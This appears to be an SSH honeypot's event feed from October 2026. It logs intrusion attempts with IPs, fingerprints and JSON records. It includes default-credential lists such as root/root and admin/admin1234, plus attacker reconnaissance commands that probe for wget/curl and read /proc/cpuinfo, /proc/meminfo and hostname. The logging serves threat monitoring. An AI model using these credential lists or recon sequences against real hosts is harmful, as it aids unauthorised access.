Adversarial Observation Interface

45.198.224.48

2026-10-10 20:59:24.249835 UTC

COMMANDS RUN RECONNAISSANCE SUCCESSFUL LOGIN SCORE: 120

Credential acceptance event recorded. Target authentication: admin / admin1234

Remote entity achieved interactive shell state. Command sequence (5 executed):

[obs-node]:~$ xyzabc987_no_such_command

Command not found: xyzabc987_no_such_command

[obs-node]:~$ echo -e '\147\141\171\146\147\164'

[obs-node]:~$ X_ABC=val987; echo $X_ABC

[obs-node]:~$ which wget curl 2>/dev/null || command -v wget curl 2>/dev/null

Command not found: command -v wget curl

[obs-node]:~$ cat /proc/cpuinfo 2>/dev/null | grep -m1 -iE 'model name|Processor|Hardware'

Record ID: 36a2e8f766e8

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 11.9s

HASSH Fingerprint: 3335afa7a75e84f8348f05c623c5ecf9

{
  "id": "36a2e8f766e8",
  "src_ip": "45.198.224.48",
  "start_time": "2026-10-10T20:59:24.249835Z",
  "end_time": "2026-10-10T20:59:36.147154Z",
  "duration": "11.9",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "3335afa7a75e84f8348f05c623c5ecf9",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "admin",
    "pass": "admin1234"
  },
  "commands": [
    "xyzabc987_no_such_command",
    "echo -e '\\147\\141\\171\\146\\147\\164'",
    "X_ABC=val987; echo $X_ABC",
    "which wget curl 2>/dev/null || command -v wget curl 2>/dev/null",
    "cat /proc/cpuinfo 2>/dev/null | grep -m1 -iE 'model name|Processor|Hardware'"
  ],
  "detailed_commands": [
    {
      "cmd": "xyzabc987_no_such_command",
      "failed": true,
      "error": "Command not found: xyzabc987_no_such_command "
    },
    {
      "cmd": "echo -e '\\147\\141\\171\\146\\147\\164'",
      "failed": false,
      "error": null
    },
    {
      "cmd": "X_ABC=val987; echo $X_ABC",
      "failed": false,
      "error": null
    },
    {
      "cmd": "which wget curl 2>/dev/null || command -v wget curl 2>/dev/null",
      "failed": true,
      "error": "Command not found: command -v wget curl"
    },
    {
      "cmd": "cat /proc/cpuinfo 2>/dev/null | grep -m1 -iE 'model name|Processor|Hardware'",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [
    "xyzabc987_no_such_command ",
    "command -v wget curl"
  ],
  "score": 120,
  "tags": [
    "COMMANDS RUN",
    "RECONNAISSANCE",
    "SUCCESSFUL LOGIN"
  ]
}

45.198.224.48

2026-10-10 20:59:24.107853 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 983285bad030

Client Version: Unknown

Engagement Duration: 0.1s

{
  "id": "983285bad030",
  "src_ip": "45.198.224.48",
  "start_time": "2026-10-10T20:59:24.107853Z",
  "end_time": "2026-10-10T20:59:24.183036Z",
  "duration": "0.1",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

130.12.182.122

2026-10-10 20:59:21.919518 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: wacos

Record ID: 95a73ed5c436

Client Version: SSH-2.0-libssh_0.12.0

Engagement Duration: 2.1s

HASSH Fingerprint: a591c4ddccc960a2da8099958270fc92

{
  "id": "95a73ed5c436",
  "src_ip": "130.12.182.122",
  "start_time": "2026-10-10T20:59:21.919518Z",
  "end_time": "2026-10-10T20:59:23.999267Z",
  "duration": "2.1",
  "version": "SSH-2.0-libssh_0.12.0",
  "hassh": "a591c4ddccc960a2da8099958270fc92",
  "attempts": [
    {
      "user": "wacos",
      "pass": "12"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

45.198.224.48

2026-10-10 20:59:06.276170 UTC

COMMANDS RUN RECONNAISSANCE SUCCESSFUL LOGIN SCORE: 140

Credential acceptance event recorded. Target authentication: admin / admin

Remote entity achieved interactive shell state. Command sequence (7 executed):

[obs-node]:~$ xyzabc987_no_such_command

Command not found: xyzabc987_no_such_command

[obs-node]:~$ echo -e '\147\141\171\146\147\164'

[obs-node]:~$ X_ABC=val987; echo $X_ABC

[obs-node]:~$ which wget curl 2>/dev/null || command -v wget curl 2>/dev/null

Command not found: command -v wget curl

[obs-node]:~$ cat /proc/cpuinfo 2>/dev/null | grep -m1 -iE 'model name|Processor|Hardware'

[obs-node]:~$ cat /proc/meminfo 2>/dev/null | grep -m1 MemTotal

[obs-node]:~$ hostname

Record ID: 18aa6f46782f

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 17.8s

HASSH Fingerprint: 3335afa7a75e84f8348f05c623c5ecf9

{
  "id": "18aa6f46782f",
  "src_ip": "45.198.224.48",
  "start_time": "2026-10-10T20:59:06.276170Z",
  "end_time": "2026-10-10T20:59:24.047151Z",
  "duration": "17.8",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "3335afa7a75e84f8348f05c623c5ecf9",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "admin",
    "pass": "admin"
  },
  "commands": [
    "xyzabc987_no_such_command",
    "echo -e '\\147\\141\\171\\146\\147\\164'",
    "X_ABC=val987; echo $X_ABC",
    "which wget curl 2>/dev/null || command -v wget curl 2>/dev/null",
    "cat /proc/cpuinfo 2>/dev/null | grep -m1 -iE 'model name|Processor|Hardware'",
    "cat /proc/meminfo 2>/dev/null | grep -m1 MemTotal",
    "hostname"
  ],
  "detailed_commands": [
    {
      "cmd": "xyzabc987_no_such_command",
      "failed": true,
      "error": "Command not found: xyzabc987_no_such_command "
    },
    {
      "cmd": "echo -e '\\147\\141\\171\\146\\147\\164'",
      "failed": false,
      "error": null
    },
    {
      "cmd": "X_ABC=val987; echo $X_ABC",
      "failed": false,
      "error": null
    },
    {
      "cmd": "which wget curl 2>/dev/null || command -v wget curl 2>/dev/null",
      "failed": true,
      "error": "Command not found: command -v wget curl"
    },
    {
      "cmd": "cat /proc/cpuinfo 2>/dev/null | grep -m1 -iE 'model name|Processor|Hardware'",
      "failed": false,
      "error": null
    },
    {
      "cmd": "cat /proc/meminfo 2>/dev/null | grep -m1 MemTotal",
      "failed": false,
      "error": null
    },
    {
      "cmd": "hostname",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [
    "xyzabc987_no_such_command ",
    "command -v wget curl"
  ],
  "score": 140,
  "tags": [
    "COMMANDS RUN",
    "RECONNAISSANCE",
    "SUCCESSFUL LOGIN"
  ]
}

45.198.224.48

2026-10-10 20:59:06.136230 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: cd6136b715bf

Client Version: Unknown

Engagement Duration: 0.1s

{
  "id": "cd6136b715bf",
  "src_ip": "45.198.224.48",
  "start_time": "2026-10-10T20:59:06.136230Z",
  "end_time": "2026-10-10T20:59:06.209329Z",
  "duration": "0.1",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

193.24.211.218

2026-10-10 20:58:50.875140 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: anonymous

Record ID: c8a3e6b6b4cf

Client Version: SSH-2.0-libssh2_1.11.0

Engagement Duration: 2.2s

HASSH Fingerprint: 14b2ddda386a4d1006108ccd231b42fc

{
  "id": "c8a3e6b6b4cf",
  "src_ip": "193.24.211.218",
  "start_time": "2026-10-10T20:58:50.875140Z",
  "end_time": "2026-10-10T20:58:53.067124Z",
  "duration": "2.2",
  "version": "SSH-2.0-libssh2_1.11.0",
  "hassh": "14b2ddda386a4d1006108ccd231b42fc",
  "attempts": [
    {
      "user": "anonymous",
      "pass": "anonymous"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

45.198.224.48

2026-10-10 20:58:48.264656 UTC

COMMANDS RUN RECONNAISSANCE SUCCESSFUL LOGIN SCORE: 140

Credential acceptance event recorded. Target authentication: root / toor

Remote entity achieved interactive shell state. Command sequence (7 executed):

[obs-node]:~$ xyzabc987_no_such_command

Command not found: xyzabc987_no_such_command

[obs-node]:~$ echo -e '\147\141\171\146\147\164'

[obs-node]:~$ X_ABC=val987; echo $X_ABC

[obs-node]:~$ which wget curl 2>/dev/null || command -v wget curl 2>/dev/null

Command not found: command -v wget curl

[obs-node]:~$ cat /proc/cpuinfo 2>/dev/null | grep -m1 -iE 'model name|Processor|Hardware'

[obs-node]:~$ cat /proc/meminfo 2>/dev/null | grep -m1 MemTotal

[obs-node]:~$ hostname

Record ID: 1c5560517a30

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 17.8s

HASSH Fingerprint: 3335afa7a75e84f8348f05c623c5ecf9

{
  "id": "1c5560517a30",
  "src_ip": "45.198.224.48",
  "start_time": "2026-10-10T20:58:48.264656Z",
  "end_time": "2026-10-10T20:59:06.075340Z",
  "duration": "17.8",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "3335afa7a75e84f8348f05c623c5ecf9",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "toor"
  },
  "commands": [
    "xyzabc987_no_such_command",
    "echo -e '\\147\\141\\171\\146\\147\\164'",
    "X_ABC=val987; echo $X_ABC",
    "which wget curl 2>/dev/null || command -v wget curl 2>/dev/null",
    "cat /proc/cpuinfo 2>/dev/null | grep -m1 -iE 'model name|Processor|Hardware'",
    "cat /proc/meminfo 2>/dev/null | grep -m1 MemTotal",
    "hostname"
  ],
  "detailed_commands": [
    {
      "cmd": "xyzabc987_no_such_command",
      "failed": true,
      "error": "Command not found: xyzabc987_no_such_command "
    },
    {
      "cmd": "echo -e '\\147\\141\\171\\146\\147\\164'",
      "failed": false,
      "error": null
    },
    {
      "cmd": "X_ABC=val987; echo $X_ABC",
      "failed": false,
      "error": null
    },
    {
      "cmd": "which wget curl 2>/dev/null || command -v wget curl 2>/dev/null",
      "failed": true,
      "error": "Command not found: command -v wget curl"
    },
    {
      "cmd": "cat /proc/cpuinfo 2>/dev/null | grep -m1 -iE 'model name|Processor|Hardware'",
      "failed": false,
      "error": null
    },
    {
      "cmd": "cat /proc/meminfo 2>/dev/null | grep -m1 MemTotal",
      "failed": false,
      "error": null
    },
    {
      "cmd": "hostname",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [
    "xyzabc987_no_such_command ",
    "command -v wget curl"
  ],
  "score": 140,
  "tags": [
    "COMMANDS RUN",
    "RECONNAISSANCE",
    "SUCCESSFUL LOGIN"
  ]
}

45.198.224.48

2026-10-10 20:58:48.121624 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: e777d2461d41

Client Version: Unknown

Engagement Duration: 0.1s

{
  "id": "e777d2461d41",
  "src_ip": "45.198.224.48",
  "start_time": "2026-10-10T20:58:48.121624Z",
  "end_time": "2026-10-10T20:58:48.191154Z",
  "duration": "0.1",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

45.198.224.48

2026-10-10 20:58:30.285143 UTC

COMMANDS RUN RECONNAISSANCE SUCCESSFUL LOGIN SCORE: 140

Credential acceptance event recorded. Target authentication: root / root1234

Remote entity achieved interactive shell state. Command sequence (7 executed):

[obs-node]:~$ xyzabc987_no_such_command

Command not found: xyzabc987_no_such_command

[obs-node]:~$ echo -e '\147\141\171\146\147\164'

[obs-node]:~$ X_ABC=val987; echo $X_ABC

[obs-node]:~$ which wget curl 2>/dev/null || command -v wget curl 2>/dev/null

Command not found: command -v wget curl

[obs-node]:~$ cat /proc/cpuinfo 2>/dev/null | grep -m1 -iE 'model name|Processor|Hardware'

[obs-node]:~$ cat /proc/meminfo 2>/dev/null | grep -m1 MemTotal

[obs-node]:~$ hostname

Record ID: 997180b728e7

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 17.8s

HASSH Fingerprint: 3335afa7a75e84f8348f05c623c5ecf9

{
  "id": "997180b728e7",
  "src_ip": "45.198.224.48",
  "start_time": "2026-10-10T20:58:30.285143Z",
  "end_time": "2026-10-10T20:58:48.061425Z",
  "duration": "17.8",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "3335afa7a75e84f8348f05c623c5ecf9",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "root1234"
  },
  "commands": [
    "xyzabc987_no_such_command",
    "echo -e '\\147\\141\\171\\146\\147\\164'",
    "X_ABC=val987; echo $X_ABC",
    "which wget curl 2>/dev/null || command -v wget curl 2>/dev/null",
    "cat /proc/cpuinfo 2>/dev/null | grep -m1 -iE 'model name|Processor|Hardware'",
    "cat /proc/meminfo 2>/dev/null | grep -m1 MemTotal",
    "hostname"
  ],
  "detailed_commands": [
    {
      "cmd": "xyzabc987_no_such_command",
      "failed": true,
      "error": "Command not found: xyzabc987_no_such_command "
    },
    {
      "cmd": "echo -e '\\147\\141\\171\\146\\147\\164'",
      "failed": false,
      "error": null
    },
    {
      "cmd": "X_ABC=val987; echo $X_ABC",
      "failed": false,
      "error": null
    },
    {
      "cmd": "which wget curl 2>/dev/null || command -v wget curl 2>/dev/null",
      "failed": true,
      "error": "Command not found: command -v wget curl"
    },
    {
      "cmd": "cat /proc/cpuinfo 2>/dev/null | grep -m1 -iE 'model name|Processor|Hardware'",
      "failed": false,
      "error": null
    },
    {
      "cmd": "cat /proc/meminfo 2>/dev/null | grep -m1 MemTotal",
      "failed": false,
      "error": null
    },
    {
      "cmd": "hostname",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [
    "xyzabc987_no_such_command ",
    "command -v wget curl"
  ],
  "score": 140,
  "tags": [
    "COMMANDS RUN",
    "RECONNAISSANCE",
    "SUCCESSFUL LOGIN"
  ]
}

45.198.224.48

2026-10-10 20:58:30.148227 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: f7be725a5990

Client Version: Unknown

Engagement Duration: 0.1s

{
  "id": "f7be725a5990",
  "src_ip": "45.198.224.48",
  "start_time": "2026-10-10T20:58:30.148227Z",
  "end_time": "2026-10-10T20:58:30.218222Z",
  "duration": "0.1",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

81.19.219.236

2026-10-10 20:58:15.028026 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 101110564ab0

Client Version: SSH-2.0-OpenSSH_9.6p1 Ubuntu-3ubuntu13.8

Engagement Duration: 0.3s

HASSH Fingerprint: bc9e7273cde22b1209d6673b5fd10bd5

{
  "id": "101110564ab0",
  "src_ip": "81.19.219.236",
  "start_time": "2026-10-10T20:58:15.028026Z",
  "end_time": "2026-10-10T20:58:15.302922Z",
  "duration": "0.3",
  "version": "SSH-2.0-OpenSSH_9.6p1 Ubuntu-3ubuntu13.8",
  "hassh": "bc9e7273cde22b1209d6673b5fd10bd5",
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

45.198.224.48

2026-10-10 20:58:12.294556 UTC

COMMANDS RUN RECONNAISSANCE SUCCESSFUL LOGIN SCORE: 140

Credential acceptance event recorded. Target authentication: root / root12345

Remote entity achieved interactive shell state. Command sequence (7 executed):

[obs-node]:~$ xyzabc987_no_such_command

Command not found: xyzabc987_no_such_command

[obs-node]:~$ echo -e '\147\141\171\146\147\164'

[obs-node]:~$ X_ABC=val987; echo $X_ABC

[obs-node]:~$ which wget curl 2>/dev/null || command -v wget curl 2>/dev/null

Command not found: command -v wget curl

[obs-node]:~$ cat /proc/cpuinfo 2>/dev/null | grep -m1 -iE 'model name|Processor|Hardware'

[obs-node]:~$ cat /proc/meminfo 2>/dev/null | grep -m1 MemTotal

[obs-node]:~$ hostname

Record ID: eb08c3617f40

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 17.8s

HASSH Fingerprint: 3335afa7a75e84f8348f05c623c5ecf9

{
  "id": "eb08c3617f40",
  "src_ip": "45.198.224.48",
  "start_time": "2026-10-10T20:58:12.294556Z",
  "end_time": "2026-10-10T20:58:30.088101Z",
  "duration": "17.8",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "3335afa7a75e84f8348f05c623c5ecf9",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "root12345"
  },
  "commands": [
    "xyzabc987_no_such_command",
    "echo -e '\\147\\141\\171\\146\\147\\164'",
    "X_ABC=val987; echo $X_ABC",
    "which wget curl 2>/dev/null || command -v wget curl 2>/dev/null",
    "cat /proc/cpuinfo 2>/dev/null | grep -m1 -iE 'model name|Processor|Hardware'",
    "cat /proc/meminfo 2>/dev/null | grep -m1 MemTotal",
    "hostname"
  ],
  "detailed_commands": [
    {
      "cmd": "xyzabc987_no_such_command",
      "failed": true,
      "error": "Command not found: xyzabc987_no_such_command "
    },
    {
      "cmd": "echo -e '\\147\\141\\171\\146\\147\\164'",
      "failed": false,
      "error": null
    },
    {
      "cmd": "X_ABC=val987; echo $X_ABC",
      "failed": false,
      "error": null
    },
    {
      "cmd": "which wget curl 2>/dev/null || command -v wget curl 2>/dev/null",
      "failed": true,
      "error": "Command not found: command -v wget curl"
    },
    {
      "cmd": "cat /proc/cpuinfo 2>/dev/null | grep -m1 -iE 'model name|Processor|Hardware'",
      "failed": false,
      "error": null
    },
    {
      "cmd": "cat /proc/meminfo 2>/dev/null | grep -m1 MemTotal",
      "failed": false,
      "error": null
    },
    {
      "cmd": "hostname",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [
    "xyzabc987_no_such_command ",
    "command -v wget curl"
  ],
  "score": 140,
  "tags": [
    "COMMANDS RUN",
    "RECONNAISSANCE",
    "SUCCESSFUL LOGIN"
  ]
}

45.198.224.48

2026-10-10 20:58:12.156543 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 6db645aa7592

Client Version: Unknown

Engagement Duration: 0.1s

{
  "id": "6db645aa7592",
  "src_ip": "45.198.224.48",
  "start_time": "2026-10-10T20:58:12.156543Z",
  "end_time": "2026-10-10T20:58:12.225225Z",
  "duration": "0.1",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

5.226.140.4

2026-10-10 20:58:01.786913 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 679f99372cc6

Client Version: Unknown

Engagement Duration: 0.1s

{
  "id": "679f99372cc6",
  "src_ip": "5.226.140.4",
  "start_time": "2026-10-10T20:58:01.786913Z",
  "end_time": "2026-10-10T20:58:01.918571Z",
  "duration": "0.1",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

45.198.224.48

2026-10-10 20:57:54.230562 UTC

COMMANDS RUN RECONNAISSANCE SUCCESSFUL LOGIN SCORE: 140

Credential acceptance event recorded. Target authentication: root / root123

Remote entity achieved interactive shell state. Command sequence (7 executed):

[obs-node]:~$ xyzabc987_no_such_command

Command not found: xyzabc987_no_such_command

[obs-node]:~$ echo -e '\147\141\171\146\147\164'

[obs-node]:~$ X_ABC=val987; echo $X_ABC

[obs-node]:~$ which wget curl 2>/dev/null || command -v wget curl 2>/dev/null

Command not found: command -v wget curl

[obs-node]:~$ cat /proc/cpuinfo 2>/dev/null | grep -m1 -iE 'model name|Processor|Hardware'

[obs-node]:~$ cat /proc/meminfo 2>/dev/null | grep -m1 MemTotal

[obs-node]:~$ hostname

Record ID: 995ea71e9d4e

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 17.9s

HASSH Fingerprint: 3335afa7a75e84f8348f05c623c5ecf9

{
  "id": "995ea71e9d4e",
  "src_ip": "45.198.224.48",
  "start_time": "2026-10-10T20:57:54.230562Z",
  "end_time": "2026-10-10T20:58:12.096566Z",
  "duration": "17.9",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "3335afa7a75e84f8348f05c623c5ecf9",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "root123"
  },
  "commands": [
    "xyzabc987_no_such_command",
    "echo -e '\\147\\141\\171\\146\\147\\164'",
    "X_ABC=val987; echo $X_ABC",
    "which wget curl 2>/dev/null || command -v wget curl 2>/dev/null",
    "cat /proc/cpuinfo 2>/dev/null | grep -m1 -iE 'model name|Processor|Hardware'",
    "cat /proc/meminfo 2>/dev/null | grep -m1 MemTotal",
    "hostname"
  ],
  "detailed_commands": [
    {
      "cmd": "xyzabc987_no_such_command",
      "failed": true,
      "error": "Command not found: xyzabc987_no_such_command "
    },
    {
      "cmd": "echo -e '\\147\\141\\171\\146\\147\\164'",
      "failed": false,
      "error": null
    },
    {
      "cmd": "X_ABC=val987; echo $X_ABC",
      "failed": false,
      "error": null
    },
    {
      "cmd": "which wget curl 2>/dev/null || command -v wget curl 2>/dev/null",
      "failed": true,
      "error": "Command not found: command -v wget curl"
    },
    {
      "cmd": "cat /proc/cpuinfo 2>/dev/null | grep -m1 -iE 'model name|Processor|Hardware'",
      "failed": false,
      "error": null
    },
    {
      "cmd": "cat /proc/meminfo 2>/dev/null | grep -m1 MemTotal",
      "failed": false,
      "error": null
    },
    {
      "cmd": "hostname",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [
    "xyzabc987_no_such_command ",
    "command -v wget curl"
  ],
  "score": 140,
  "tags": [
    "COMMANDS RUN",
    "RECONNAISSANCE",
    "SUCCESSFUL LOGIN"
  ]
}

45.198.224.48

2026-10-10 20:57:54.094200 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 25eb2c018fc1

Client Version: Unknown

Engagement Duration: 0.1s

{
  "id": "25eb2c018fc1",
  "src_ip": "45.198.224.48",
  "start_time": "2026-10-10T20:57:54.094200Z",
  "end_time": "2026-10-10T20:57:54.164002Z",
  "duration": "0.1",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

45.198.224.48

2026-10-10 20:57:36.337708 UTC

COMMANDS RUN RECONNAISSANCE SUCCESSFUL LOGIN SCORE: 140

Credential acceptance event recorded. Target authentication: root / root

Remote entity achieved interactive shell state. Command sequence (7 executed):

[obs-node]:~$ xyzabc987_no_such_command

Command not found: xyzabc987_no_such_command

[obs-node]:~$ echo -e '\147\141\171\146\147\164'

[obs-node]:~$ X_ABC=val987; echo $X_ABC

[obs-node]:~$ which wget curl 2>/dev/null || command -v wget curl 2>/dev/null

Command not found: command -v wget curl

[obs-node]:~$ cat /proc/cpuinfo 2>/dev/null | grep -m1 -iE 'model name|Processor|Hardware'

[obs-node]:~$ cat /proc/meminfo 2>/dev/null | grep -m1 MemTotal

[obs-node]:~$ hostname

Record ID: e089e91f6b04

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 17.7s

HASSH Fingerprint: 3335afa7a75e84f8348f05c623c5ecf9

{
  "id": "e089e91f6b04",
  "src_ip": "45.198.224.48",
  "start_time": "2026-10-10T20:57:36.337708Z",
  "end_time": "2026-10-10T20:57:54.034098Z",
  "duration": "17.7",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "3335afa7a75e84f8348f05c623c5ecf9",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "root"
  },
  "commands": [
    "xyzabc987_no_such_command",
    "echo -e '\\147\\141\\171\\146\\147\\164'",
    "X_ABC=val987; echo $X_ABC",
    "which wget curl 2>/dev/null || command -v wget curl 2>/dev/null",
    "cat /proc/cpuinfo 2>/dev/null | grep -m1 -iE 'model name|Processor|Hardware'",
    "cat /proc/meminfo 2>/dev/null | grep -m1 MemTotal",
    "hostname"
  ],
  "detailed_commands": [
    {
      "cmd": "xyzabc987_no_such_command",
      "failed": true,
      "error": "Command not found: xyzabc987_no_such_command "
    },
    {
      "cmd": "echo -e '\\147\\141\\171\\146\\147\\164'",
      "failed": false,
      "error": null
    },
    {
      "cmd": "X_ABC=val987; echo $X_ABC",
      "failed": false,
      "error": null
    },
    {
      "cmd": "which wget curl 2>/dev/null || command -v wget curl 2>/dev/null",
      "failed": true,
      "error": "Command not found: command -v wget curl"
    },
    {
      "cmd": "cat /proc/cpuinfo 2>/dev/null | grep -m1 -iE 'model name|Processor|Hardware'",
      "failed": false,
      "error": null
    },
    {
      "cmd": "cat /proc/meminfo 2>/dev/null | grep -m1 MemTotal",
      "failed": false,
      "error": null
    },
    {
      "cmd": "hostname",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [
    "xyzabc987_no_such_command ",
    "command -v wget curl"
  ],
  "score": 140,
  "tags": [
    "COMMANDS RUN",
    "RECONNAISSANCE",
    "SUCCESSFUL LOGIN"
  ]
}

45.198.224.48

2026-10-10 20:57:36.201242 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: fbc5fffef011

Client Version: Unknown

Engagement Duration: 0.1s

{
  "id": "fbc5fffef011",
  "src_ip": "45.198.224.48",
  "start_time": "2026-10-10T20:57:36.201242Z",
  "end_time": "2026-10-10T20:57:36.271706Z",
  "duration": "0.1",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

103.83.87.37

2026-10-10 20:56:29.180302 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 751d7281720b

Client Version: SSH-2.0-libssh2_1.8.0

Engagement Duration: 15.4s

HASSH Fingerprint: a7a87fbe86774c2e40cc4a7ea2ab1b3c

{
  "id": "751d7281720b",
  "src_ip": "103.83.87.37",
  "start_time": "2026-10-10T20:56:29.180302Z",
  "end_time": "2026-10-10T20:56:44.610534Z",
  "duration": "15.4",
  "version": "SSH-2.0-libssh2_1.8.0",
  "hassh": "a7a87fbe86774c2e40cc4a7ea2ab1b3c",
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

2.57.121.112

2026-10-10 20:55:34.128243 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (5 distinct queries). Vector identities: daniel

Record ID: 0018586124df

Client Version: SSH-2.0-PuTTY_Release_0.84

Engagement Duration: 6.5s

HASSH Fingerprint: 3356ae6145fa86124298066e281ea2d9

{
  "id": "0018586124df",
  "src_ip": "2.57.121.112",
  "start_time": "2026-10-10T20:55:34.128243Z",
  "end_time": "2026-10-10T20:55:40.645699Z",
  "duration": "6.5",
  "version": "SSH-2.0-PuTTY_Release_0.84",
  "hassh": "3356ae6145fa86124298066e281ea2d9",
  "attempts": [
    {
      "user": "daniel",
      "pass": "daniel"
    },
    {
      "user": "daniel",
      "pass": "daniel1"
    },
    {
      "user": "daniel",
      "pass": "daniel123"
    },
    {
      "user": "daniel",
      "pass": "daniel1234"
    },
    {
      "user": "daniel",
      "pass": "daniel12345"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

38.22.169.6

2026-10-10 20:52:19.699560 UTC

COMMANDS RUN RECONNAISSANCE SUCCESSFUL LOGIN SCORE: 100

Credential acceptance event recorded. Target authentication: oracle / 1qaz2wsx

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ /bin/./uname -s -v -n -r -m

Record ID: 0534aa3aee1e

Client Version: SSH-2.0-Go

Engagement Duration: 0.8s

HASSH Fingerprint: 16443846184eafde36765c9bab2f4397

{
  "id": "0534aa3aee1e",
  "src_ip": "38.22.169.6",
  "start_time": "2026-10-10T20:52:19.699560Z",
  "end_time": "2026-10-10T20:52:20.463643Z",
  "duration": "0.8",
  "version": "SSH-2.0-Go",
  "hassh": "16443846184eafde36765c9bab2f4397",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "oracle",
    "pass": "1qaz2wsx"
  },
  "commands": [
    "/bin/./uname -s -v -n -r -m"
  ],
  "detailed_commands": [
    {
      "cmd": "/bin/./uname -s -v -n -r -m",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 100,
  "tags": [
    "COMMANDS RUN",
    "RECONNAISSANCE",
    "SUCCESSFUL LOGIN"
  ]
}

184.98.13.4

2026-10-10 20:46:59.944754 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 21208e24a9b9

Client Version: Unknown

Engagement Duration: 0.5s

{
  "id": "21208e24a9b9",
  "src_ip": "184.98.13.4",
  "start_time": "2026-10-10T20:46:59.944754Z",
  "end_time": "2026-10-10T20:47:00.480052Z",
  "duration": "0.5",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

